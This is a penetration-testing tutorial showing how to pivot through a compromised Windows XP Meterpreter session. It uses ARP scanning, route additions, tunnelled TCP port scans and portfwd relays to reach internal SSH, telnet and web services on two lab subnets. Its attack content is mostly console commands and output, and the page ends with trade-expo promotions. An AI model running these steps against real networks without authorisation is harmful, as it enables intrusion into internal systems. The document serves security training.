Welcome!

Cloud Security Authors: Pat Romanski, Ambuj Kumar, Shelly Palmer, XebiaLabs Blog, Liz McMillan

Related Topics: Cloud Security, Microservices Expo

Cloud Security: Tutorial

Post Exploitation Using Metasploit Pivot and Port Forward

The Metasploit Framework is a penetration testing toolkit, exploit development platform, and research tool

The Metasploit Framework is a penetration testing toolkit, exploit development platform, and research tool. The framework includes hundreds of working remote exploits for a variety of platforms. Payloads, encoders, and nop slide generators can be mixed and matched with exploit modules to solve almost any exploit-related task. A very nice feature in Metasploit is the ability to pivot through a Meterpreter session to the network on the other side. This tutorial walks you through how this is done once you have a Meterpreter session on a foreign box. We begin right after a client side exploit has been achieved from an attacker machine running Ubuntu Linux to the victim machine running Windows XP.

1. Introduction
The Metasploit Project is an open-source, computer security project which provides information about security vulnerabilities that assist in performing a penetration test. Metasploit was created by HD Moore in 2003 to provide the security community with a public resource for exploit development which resulted in the Metasploit Framework. This framework is an open source platform for writing security tools and exploits.

The Meterpreter is an advanced multi-function payload that can be dynamically extended at run-time. In normal terms, this means that it provides you with a basic shell and allows you to add new features to it as needed. Please refer to the Meterpreter documentation for an in-depth description of how it works and what you can do with it.

Once we have compromised a system on the network the goal is to learn more about the target environment and find openings by directly interacting with the target systems. The objectives include determining the addresses used by systems including hosts (servers and clients), network equipment (firewalls, routers, switches), and other devices. We want to learn the environment creating a diagram, a network map that we can plan further attacks. We want to determine the operating system, list of listening TCP ports, which ports are open, and a list of potential vulnerabilities. To accomplish this goal we will be using the victim as a pivot to attack deeper into the network.

Here is a network diagram (Figure #1) of the network that will be discussed. The attackers machine (IP Address 192.168.1.132) and the victim's machine (192.168.1.131) is connected to the same router.

Figure 1 Network Diagram

The victim is also connected to two (2) other routers, one with (IP address 192.168.15.3) and another with (IP address 192.168.0.9). The attacker is only sharing a connection with the victim via the 192.168.1.0/24 router. To thoroughly demonstrate the use of the pivot command the Windows XP laptop (victim) has two hard line connections and a wireless connection all connected to 3 different networks (Ethernet adapter 1: 192.168.1.131, Ethernet adapter 2: 192.168.15.3, WLAN 1: 192.168.0.9).

Some of the tools that will be used in this tutorial are listed below along with a description.

arp_scanner - This Meterpreter script identifies alive hosts on the target C-class network by way of the ARP protocol.

Metasploit auxiliary portscanner - A group of five different scanners to detect any live target located on the same subnet. They include:

ack - ACK Firewall Scanner

ftpbounce - Bounce Port Scanner

syn - SYN Port Scanner

tcp - Port Scanner

xmas - "Xmas" Port Scanner

tcpdump - a packet analyzer that runs on the command line and allows the user to intercept and display TCP/IP and other packets being transmitted or received over a network.

etherape - is a graphical network monitor for Unix that features link layer, IP and TCP modes.

portfwd - forward a local port to a remote service. Portfwd command can be used with any TCP based service on the target's network.

telnet - A terminal emulation program for TCP/IP networks used for connecting to a remote computer over the Internet.

1.1. Scan Hosts
The system is connected to three different IP ranges which could lead to more targets to exploit. Now we need to find out if there are any other IP addresses within the range and we will use one of the meterpreter scripts called arp_scanner. Arp_scanner will perform an ARP scan for a given range through a compromised host.

meterpreter > run arp_scanner -r 192.168.15.1/24

[*] ARP Scanning 192.168.15.1/24

[*] IP: 192.168.15.5 MAC d8:d3:85:d3:8:2d

[*] IP: 192.168.15.3 MAC 0:b:db:1d:d3:2b

[*] IP: 192.168.15.1 MAC 0:17:ee:ca:32:b2

meterpreter > run arp_scanner -r 192.168.0.1/24

[*] ARP Scanning 192.168.0.1/24

[*] IP: 192.168.0.1 MAC 0:9:5b:fa:66:f2

[*] IP: 192.168.0.5 MAC 0:16:6f:79:68:0

[*] IP: 192.168.0.9 MAC 0:90:4b:12:34:4c

[*] IP: 192.168.0.7 MAC 0:21:6a:b5:9a:f0

We will use the -r option to target address range to scan in this case 192.168.15.0/24. The arp_scanner –r option will target the address range or Classless Inter-Domain routing (CIDR). For a list of options use the arp_scanner –h. Other options such as (–i) enumerate local interfaces and (–s) save found IP addresses to logs may be used. The scan has returned a list of potential targets to attack from the results of our arp scan. Next we need to add the route to our meterpreter session. We do these with the route add option in the msf console; you will need to background your meterpreter session:

meterpreter > background

msf exploit(handler) > route add 192.168.15.1 255.255.255.0 1

[*] Route added

msf exploit(handler) > route print

Active Routing Table

====================

Subnet Netmask Gateway

------ ------- -------

192.168.15.1 255.255.255.0 Session 1

Notice the number 1 at the end of the route add, this describes the meterpreter session we are adding the route to and is very important and implies the tunnel ID. The tunnel ID must match up to our route that we are going to add. You can have many different tunnel ID’s to one or several different IP Addresses and it is important to keep them straight.

We need to use a portscanner to discover any open ports on the IP listed from our arp sweep to do this we load the tcp portscanner found in auxiliary tools and run it on the available IP's from the arp sweep:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set RHOSTS 192.168.15.1

RHOSTS => 192.168.15.1

msf auxiliary(tcp) > set PORTS 1-1024

PORTS => 1-1024

This is where we set our RHOSTS to the IP we want to scan and set the PORTS with the range we want to scan (1-1024). Then we type run and the results are listed:

msf auxiliary(tcp) > run

[*] 192.168.15.1:22 - TCP OPEN

[*] 192.168.15.1:80 - TCP OPEN

[*] 192.168.15.1:554 - TCP OPEN

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(tcp) > set RHOSTS 192.168.15.2

RHOSTS => 192.168.15.2

msf auxiliary(tcp) > set PORTS 1-1024

PORTS => 1-1024

msf auxiliary(tcp) > run

[*] 192.168.15.2:22 - TCP OPEN

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(tcp) > set RHOSTS 192.168.15.5

RHOSTS => 192.168.15.5

msf auxiliary(tcp) > set PORTS 1-1024

PORTS => 1-1024

msf auxiliary(tcp) > run

[*] 192.168.15.5:80 - TCP OPEN

[*] 192.168.15.5:139 - TCP OPEN

[*] 192.168.15.5:445 - TCP OPEN

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(tcp) >

There are 5 different types of portscanner modules in the auxiliary/scanner/portscan and they are ACK, SYN, TCP, XMAS, and ftpbounce. The only one that will work is TCP. The reason is that anything that uses raw sockets (like the syn scanner and others) will not work through the tunnel. Remember we can’t send arbitrary packets to these IP addresses they will not respond. You can only send ones that are bound to a port and are legitimate. This only supports outbound TCP connections. After we issue the show options command there are a number of required options that need to be set:

msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

CONCURRENCY 10 yes The number of concurrent ports to check per host

FILTER no The filter string for capturing traffic

INTERFACE no The name of the interface

PCAPFILE no The name of the PCAP capture file to process

PORTS 1-1024 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS 192.168.15.5 yes The target address range or CIDR identifier

SNAPLEN 65535 yes The number of bytes to capture

THREADS 1 yes The number of concurrent threads

TIMEOUT 1000 yes The socket connect timeout in milliseconds

VERBOSE false no Display verbose output

msf auxiliary(tcp) >

Notice that tcpdump and etherape running on the attackers system and the only traffic seen is TCP-UNKNOWN going to 192.168.1.131, nothing going to our end target which is 192.168.15.5 (Figure #2). All traffic is funneled through our exploited machine 192.168.1.131 to the other machines listed in the arp scan. For tcpdump I use $ sudo tcpdump dst 192.168.1.131, if you want a more detailed output use the following $ sudo tcpdump -nnvvXSs 1514 dst 192.168.1.131.

Figure 2 Running tcpdump and etherape to view traffic to and from attacker and victim

 

Now let’s take a look at our results of the tcp scan and see what is open? Results from tcp scan of 192.168.15.0/24:

192.168.15.5 tcp open ports 80,139, & 445

192.168.15.2 tcp open port 22

192.168.15.1 tcp open ports 22, 80, & 554

To scan another range we need to remove the route and add another with the route remove command:

msf auxiliary(tcp) > route remove 192.168.15.1 255.255.255.0 1

[*] Route removed

msf auxiliary(tcp) > route add 192.168.0.1 255.255.255.0 1

[*] Route added

msf auxiliary(tcp) > route print

Active Routing Table

====================

Subnet Netmask Gateway

------ ------- -------

192.168.0.1 255.255.255.0 Session 1

Results from tcp scan of 192.168.0.0/24:

192.168.0.2 tcp open 135,139, & 445

192.168.0.9 tcp open 23,135,139, & 445

192.168.0.1 tcp open 80

1.1. Portfwd command

There are a number of interesting ports that are open such as 22, 23, and 80 using the portfwd command we can gain access to an internal web server, run netcat, and telnet on ports 22 and 23. The portfwd command can be used with any TCP-based service on the target's network to demonstrate access to internal resources once an internal user's machine has been compromised. First we will use the portfwd command on the 192.168.15.1 subnet and then work on the 192.168.0.1 subnet. Let’s go back to our meterpreter session and use the portfwd command:

msf > sessions -i 1

meterpreter > portfwd add -l 8000 -p 80 -r 192.168.15.1

[*] Local TCP relay created: 0.0.0.0:8000 <-> 192.168.15.1:80

meterpreter > portfwd add -l 8010 -p 80 -r 192.168.15.5

meterpreter > portfwd add -l 25000 -p 22 -r 192.168.15.2

[*] Local TCP relay created: 0.0.0.0:25000 <-> 192.168.15.2:22

Now let’s open up a local browser and go to the following addresses:

Figure 3

http://127.0.0.1:8000 (Figure 3)

Now these addresses are not accessible from our network and all the traffic that we see is only going to our target 192.168.1.131 see Etherape in Figure #2. We are using the local port forwarding binded on the victim host 192.168.1.131 so when we execute the route command and exploit internal hosts, or in this case open a web browser, we can map them back to our initial victim, through the meterpreter connection and back to us.

http://127.0.0.1:8010 (Figure 4)

Figure 4

To test the IP with port 22 open we open a terminal and use netcat to grab the banner:

[email protected]:~$ nc -v 127.0.0.1 25000

Connection to 127.0.0.1 25000 port [tcp/*] succeeded!

SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1.2

Now let’s look at the IP's on the 192.168.0.0/24 network. First let’s remove the portfwd commands from our previous work.

meterpreter > portfwd delete -l 8000 -p 80 -r 192.168.15.1

[*] Successfully stopped TCP relay on 0.0.0.0:8000

meterpreter > portfwd delete -l 8010 -p 80 -r 192.168.15.5

[*] Successfully stopped TCP relay on 0.0.0.0:8010

meterpreter > portfwd delete -l 25000 -p 22 -r 192.168.15.2

[*] Successfully stopped TCP relay on 0.0.0.0:25000

Now let’s add the portfwd commands for our new set of IP's 192.168.0.0/24.

meterpreter > portfwd add -l 25001 -p 23 -r 192.168.0.9

[*] Local TCP relay created: 0.0.0.0:25001 <-> 192.168.0.9:23

meterpreter > portfwd add -l 8000 -p 80 -r 192.168.0.1

[*] Local TCP relay created: 0.0.0.0:8000 <-> 192.168.0.1:80

meterpreter >

Now let’s open up our web browser and go to the following addresses:

http://127.0.0.1 (Figure 5)

Figure 5

Next we open up a terminal and use telnet to connect to 192.168.0.9:

[email protected]:~$ telnet 127.0.0.1 25001

Trying 127.0.0.1...

Connected to 127.0.0.1.

Escape character is '^]'.

Welcome to Microsoft Telnet Service

login:

1.1. Conclusion

At this point if we have a user name and password to connect to the system you can use it. The point of this paper was to gain access inside a foreign network once a host has been compromised and a meterpreter session was established. I will leave further compromising of the internal network for another paper.

Now we have been able to view systems from two different subnets that are not part of our network using a basic version of pivoting through the meterpreter payload. The scan we performed went through 192.168.1.131 to 192.168.15.0/24 network and the 192.168.0.0/24 network. We then used the portfwd command to display the internal web pages, telnet, and ssh locally over SSL.

On the 'Net
Link to video tutorials: http://pbnetworks.net/?cmd=bbs

Let pbnetworks get your pen test on target

Visit us and learn how http://pbnetworks.net

How secure is your network?

More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. http://pbnetworks.net a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at pbnetworks.net.

@ThingsExpo Stories
High-velocity engineering teams are applying not only continuous delivery processes, but also lessons in experimentation from established leaders like Amazon, Netflix, and Facebook. These companies have made experimentation a foundation for their release processes, allowing them to try out major feature releases and redesigns within smaller groups before making them broadly available. In his session at 21st Cloud Expo, Brian Lucas, Senior Staff Engineer at Optimizely, will discuss how by using...
In this strange new world where more and more power is drawn from business technology, companies are effectively straddling two paths on the road to innovation and transformation into digital enterprises. The first path is the heritage trail – with “legacy” technology forming the background. Here, extant technologies are transformed by core IT teams to provide more API-driven approaches. Legacy systems can restrict companies that are transitioning into digital enterprises. To truly become a lead...
SYS-CON Events announced today that CAST Software will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 - Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. CAST was founded more than 25 years ago to make the invisible visible. Built around the idea that even the best analytics on the market still leave blind spots for technical teams looking to deliver better software and prevent outages, CAST provides the software intelligence that matter ...
SYS-CON Events announced today that Daiya Industry will exhibit at the Japanese Pavilion at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Ruby Development Inc. builds new services in short period of time and provides a continuous support of those services based on Ruby on Rails. For more information, please visit https://github.com/RubyDevInc.
As businesses evolve, they need technology that is simple to help them succeed today and flexible enough to help them build for tomorrow. Chrome is fit for the workplace of the future — providing a secure, consistent user experience across a range of devices that can be used anywhere. In her session at 21st Cloud Expo, Vidya Nagarajan, a Senior Product Manager at Google, will take a look at various options as to how ChromeOS can be leveraged to interact with people on the devices, and formats th...
SYS-CON Events announced today that Yuasa System will exhibit at the Japan External Trade Organization (JETRO) Pavilion at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Yuasa System is introducing a multi-purpose endurance testing system for flexible displays, OLED devices, flexible substrates, flat cables, and films in smartphones, wearables, automobiles, and healthcare.
SYS-CON Events announced today that Taica will exhibit at the Japan External Trade Organization (JETRO) Pavilion at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Taica manufacturers Alpha-GEL brand silicone components and materials, which maintain outstanding performance over a wide temperature range -40C to +200C. For more information, visit http://www.taica.co.jp/english/.
Enterprises have taken advantage of IoT to achieve important revenue and cost advantages. What is less apparent is how incumbent enterprises operating at scale have, following success with IoT, built analytic, operations management and software development capabilities – ranging from autonomous vehicles to manageable robotics installations. They have embraced these capabilities as if they were Silicon Valley startups. As a result, many firms employ new business models that place enormous impor...
SYS-CON Events announced today that SourceForge has been named “Media Sponsor” of SYS-CON's 21st International Cloud Expo, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. SourceForge is the largest, most trusted destination for Open Source Software development, collaboration, discovery and download on the web serving over 32 million viewers, 150 million downloads and over 460,000 active development projects each and every month.
SYS-CON Events announced today that Dasher Technologies will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 - Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Dasher Technologies, Inc. ® is a premier IT solution provider that delivers expert technical resources along with trusted account executives to architect and deliver complete IT solutions and services to help our clients execute their goals, plans and objectives. Since 1999, we'v...
As popularity of the smart home is growing and continues to go mainstream, technological factors play a greater role. The IoT protocol houses the interoperability battery consumption, security, and configuration of a smart home device, and it can be difficult for companies to choose the right kind for their product. For both DIY and professionally installed smart homes, developers need to consider each of these elements for their product to be successful in the market and current smart homes.
SYS-CON Events announced today that MIRAI Inc. will exhibit at the Japan External Trade Organization (JETRO) Pavilion at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. MIRAI Inc. are IT consultants from the public sector whose mission is to solve social issues by technology and innovation and to create a meaningful future for people.
SYS-CON Events announced today that Massive Networks, that helps your business operate seamlessly with fast, reliable, and secure internet and network solutions, has been named "Exhibitor" of SYS-CON's 21st International Cloud Expo ®, which will take place on Oct 31 - Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. As a premier telecommunications provider, Massive Networks is headquartered out of Louisville, Colorado. With years of experience under their belt, their team of...
SYS-CON Events announced today that TidalScale, a leading provider of systems and services, will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 - Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. TidalScale has been involved in shaping the computing landscape. They've designed, developed and deployed some of the most important and successful systems and services in the history of the computing industry - internet, Ethernet, operating s...
Coca-Cola’s Google powered digital signage system lays the groundwork for a more valuable connection between Coke and its customers. Digital signs pair software with high-resolution displays so that a message can be changed instantly based on what the operator wants to communicate or sell. In their Day 3 Keynote at 21st Cloud Expo, Greg Chambers, Global Group Director, Digital Innovation, Coca-Cola, and Vidya Nagarajan, a Senior Product Manager at Google, will discuss how from store operations...
Widespread fragmentation is stalling the growth of the IIoT and making it difficult for partners to work together. The number of software platforms, apps, hardware and connectivity standards is creating paralysis among businesses that are afraid of being locked into a solution. EdgeX Foundry is unifying the community around a common IoT edge framework and an ecosystem of interoperable components.
In a recent survey, Sumo Logic surveyed 1,500 customers who employ cloud services such as Amazon Web Services (AWS), Microsoft Azure, and Google Cloud Platform (GCP). According to the survey, a quarter of the respondents have already deployed Docker containers and nearly as many (23 percent) are employing the AWS Lambda serverless computing framework. It’s clear: serverless is here to stay. The adoption does come with some needed changes, within both application development and operations. Tha...
SYS-CON Events announced today that IBM has been named “Diamond Sponsor” of SYS-CON's 21st Cloud Expo, which will take place on October 31 through November 2nd 2017 at the Santa Clara Convention Center in Santa Clara, California.
In his Opening Keynote at 21st Cloud Expo, John Considine, General Manager of IBM Cloud Infrastructure, will lead you through the exciting evolution of the cloud. He'll look at this major disruption from the perspective of technology, business models, and what this means for enterprises of all sizes. John Considine is General Manager of Cloud Infrastructure Services at IBM. In that role he is responsible for leading IBM’s public cloud infrastructure including strategy, development, and offering ...
Infoblox delivers Actionable Network Intelligence to enterprise, government, and service provider customers around the world. They are the industry leader in DNS, DHCP, and IP address management, the category known as DDI. We empower thousands of organizations to control and secure their networks from the core-enabling them to increase efficiency and visibility, improve customer service, and meet compliance requirements.